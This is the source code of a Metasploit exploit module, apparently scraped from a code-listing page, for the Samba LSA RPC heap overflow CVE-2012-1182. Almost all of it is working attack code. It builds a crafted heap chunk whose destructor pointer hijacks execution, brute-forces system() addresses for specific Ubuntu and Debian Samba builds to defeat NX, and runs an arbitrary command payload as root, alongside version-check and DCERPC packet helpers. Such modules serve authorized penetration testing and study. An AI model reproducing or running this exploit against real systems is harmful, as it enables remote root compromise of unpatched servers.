1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow', 'Description'=> %q{ This module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'blasty', # Exploit 'mephos', # Debian Squeeze target 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2012-1182'], ['OSVDB', '81303'], ['BID', '52973'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/'] ], 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, 'Space' => 811, 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash telnet python perl' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [ # gdb /usr/sbin/smbd <code>ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'</code> <<< <code>echo -e "print system"</code> | grep '$1' ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start for the final version should be 0xb20 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230b20 }, 'Stop'=> { 'Ret' => 0x22a00b20 }, 'Step'=> 0x1000 } } ], ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x950 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230950 }, 'Stop'=> { 'Ret' => 0x22a00950 }, 'Step'=> 0x1000 } } ], ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230680 }, 'Stop'=> { 'Ret' => 0x22a00680 }, 'Step'=> 0x1000 } } ], ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0xb6aaa1b0 }, 'Stop'=> { 'Ret' => 0xb6ce91b0 }, 'Step'=> 0x1000 } } ] ], 'DisclosureDate' => 'Apr 10 2012', 'DefaultTarget'=> 0 )) register_options([ OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) ], self.class) end def exploit if target.bruteforce? bf = target.bruteforce if datastore['StartBrute'] and datastore['StartBrute'] > 0 bf.start_addresses['Ret'] = datastore['StartBrute'] end if datastore['StopBrute'] and datastore['StopBrute'] > 0 bf.stop_addresses['Ret'] = datastore['StopBrute'] end if bf.start_addresses['Ret'] > bf.stop_addresses['Ret'] raise ArgumentError, "StartBrute should not be larger than StopBrute" end end super end def check begin connect() smb_login() disconnect() version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0] minor = version.scan(/\.(\d*)$/).flatten[0].to_i print_status("Version found: #{version}") return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16 return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14 return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4 return Exploit::CheckCode::Safe rescue ::Exception return CheckCode::Unknown end end def brute_exploit(target_addrs) print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) datastore['DCERPC::fake_bind_multi'] = false datastore['DCERPC::max_frag_size'] = 4248 pipe = "lsarpc" print_status("Connecting to the SMB service...") connect() print_status("Login to the SMB service...") smb_login() handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") stub = "X" * 20 cmd = ";;;;" # padding cmd << "#{payload.encoded}\x00" # system argument tmp = cmd * (816/cmd.length) tmp << "\x00"*(816-tmp.length) stub << NDR.short(2) # level stub << NDR.short(2) # level 2 stub << NDR.long(1)# auditing mode stub << NDR.long(1)# ptr stub << NDR.long(100000) # r-> count stub << NDR.long(20) # array size stub << NDR.long(0) stub << NDR.long(100) stub << rand_text_alpha(target['Offset']) # Crafted talloc chunk stub << 'A' * 8 # next, prev stub << NDR.long(0) + NDR.long(0) # parent, child stub << NDR.long(0) # refs stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP stub << NDR.long(0) # name stub << "AAAA"# size stub << NDR.long(0xe8150c70)# flags stub << "AAAABBBB" stub << tmp # pointer to tmp+4 in $esp stub << rand_text(32632) stub << rand_text(62000) print_status("Calling the vulnerable function...") begin call(dcerpc, 0x08, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError print_status('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') end end handler disconnect end # Perform a DCE/RPC Function Call def call(dcerpc, function, data, do_recv = true) frag_size = data.length if dcerpc.options['frag_size'] frag_size = dcerpc.options['frag_size'] end object_id = '' if dcerpc.options['object_call'] object_id = dcerpc.handle.uuid[0] end if options['random_object_id'] object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end call_packets = make_request(function, data, frag_size, dcerpc.context, object_id) call_packets.each { |packet| write(dcerpc, packet) } return true if not do_recv raw_response = '' begin raw_response = dcerpc.read() rescue ::EOFError raise Rex::Proto::DCERPC::Exceptions::NoResponse end if (raw_response == nil or raw_response.length == 0) raise Rex::Proto::DCERPC::Exceptions::NoResponse end dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response) if dcerpc.last_response.type == 3 e = Rex::Proto::DCERPC::Exceptions::Fault.new e.fault = dcerpc.last_response.status raise e end dcerpc.last_response.stub_data end # Used to create standard DCERPC REQUEST packet(s) def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') opnum = opnum.to_i size = size.to_i ctx = ctx.to_i chunks, frags = [], [] ptr = 0 # Break the request into fragments of 'size' bytes while ptr < data.length chunks.push( data[ ptr, size ] ) ptr += size end # Process requests with no stub data if chunks.length == 0 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) return frags end # Process requests with only one fragment if chunks.length == 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) return frags end # Create the first fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) # Create all of the middle fragments while chunks.length != 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) end # Create the last fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) return frags end # Write data to the underlying socket def write(dcerpc, data) dcerpc.socket.write(data) data.length end end |